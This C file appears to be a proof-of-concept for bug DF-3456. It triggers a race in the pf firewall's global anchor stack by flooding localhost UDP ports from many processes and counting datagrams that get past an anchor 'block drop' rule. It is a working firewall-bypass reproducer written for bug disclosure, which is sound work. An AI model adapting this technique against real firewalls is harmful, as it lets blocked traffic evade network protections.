DF-3456 / anchor_bypass.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | /* * DF-3456 PoC: pf anchor walk-stack race -> rule bypass. * * The pf pfil hooks (pf_check_in/out in pf_ioctl.c) hold pf_token only * SHARED while running pf_test()/pf_test6(). The anchor walk state * pf_anchor_stack[64] (pf.c:148) is a single GLOBAL array: two or more * CPUs evaluating anchor rules concurrently tear each other's walk * frames, so a rule at the end of an anchor's rule list can be skipped * and a "block drop" verdict turns into a pass. * * This program: * recv <port> <secs> - count UDP datagrams arriving on 127.0.0.1:<port> * flood <nproc> <secs> - fork <nproc> flooders; each sends small UDP * datagrams to 127.0.0.1:5555 (blocked INSIDE * anchor "spam") and 127.0.0.1:5556 (blocked in * the MAIN ruleset - control) as fast as possible. * * Expected on a healthy kernel: both counters stay 0 while pf is enabled. * Bypass signature: counter on 5555 grows while the control port 5556 * stays 0. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define ANCHOR_PORT 5555 /* blocked inside anchor "spam" */ #define CTRL_PORT 5556 /* blocked in main ruleset (control) */ static volatile sig_atomic_t stop = 0; static void onsig(int sig __unused) { stop = 1; } static int recv_mode(int port, int secs) { struct sockaddr_in sin; char buf[2048]; long long total = 0; int s, n; time_t t0 = time(NULL), tlast = t0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); return 1; } while (!stop && (time(NULL) - t0) < secs) { n = recv(s, buf, sizeof(buf), 0); if (n > 0) { total++; if (time(NULL) - tlast >= 5) { tlast = time(NULL); printf("recv port %d: %lld datagrams " "(BYPASS! should be 0)\n", port, total); fflush(stdout); } } } printf("recv port %d FINAL: %lld datagrams in %lld sec%s\n", port, total, (long long)(time(NULL) - t0), total ? " <<< PF ANCHOR BYPASS REPRODUCED" : " (no leak - ok)"); fflush(stdout); return 0; } static int flood_one(int id, int secs) { struct sockaddr_in a, c; char pkt[32]; int s, i = 0; time_t t0 = time(NULL); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); _exit(1); } memset(&a, 0, sizeof(a)); a.sin_family = AF_INET; a.sin_port = htons(ANCHOR_PORT); a.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(&c, 0, sizeof(c)); c.sin_family = AF_INET; c.sin_port = htons(CTRL_PORT); c.sin_addr.s_addr = inet_addr("127.0.0.1"); while (!stop && (time(NULL) - t0) < secs) { /* alternate anchor-blocked and control-blocked targets */ if (sendto(s, pkt, sizeof(pkt), 0, (i & 1) ? (struct sockaddr *)&a : (struct sockaddr *)&c, sizeof(a)) < 0) { if (errno != ENOBUFS && errno != EAGAIN && errno != ECONNREFUSED) perror("sendto"); } i++; } _exit(0); } static int flood_mode(int nproc, int secs) { int i; pid_t pid; signal(SIGINT, onsig); signal(SIGTERM, onsig); for (i = 0; i < nproc; i++) { pid = fork(); if (pid == 0) flood_one(i, secs); if (pid < 0) perror("fork"); } /* parent waits for children */ for (i = 0; i < nproc; i++) wait(NULL); printf("flood done\n"); return 0; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s recv <port> <secs> | flood <nproc> <secs>\n", argv[0]); return 2; } if (strcmp(argv[1], "recv") == 0 && argc == 4) return recv_mode(atoi(argv[2]), atoi(argv[3])); if (strcmp(argv[1], "flood") == 0 && argc == 4) return flood_mode(atoi(argv[2]), atoi(argv[3])); fprintf(stderr, "bad args\n"); return 2; } |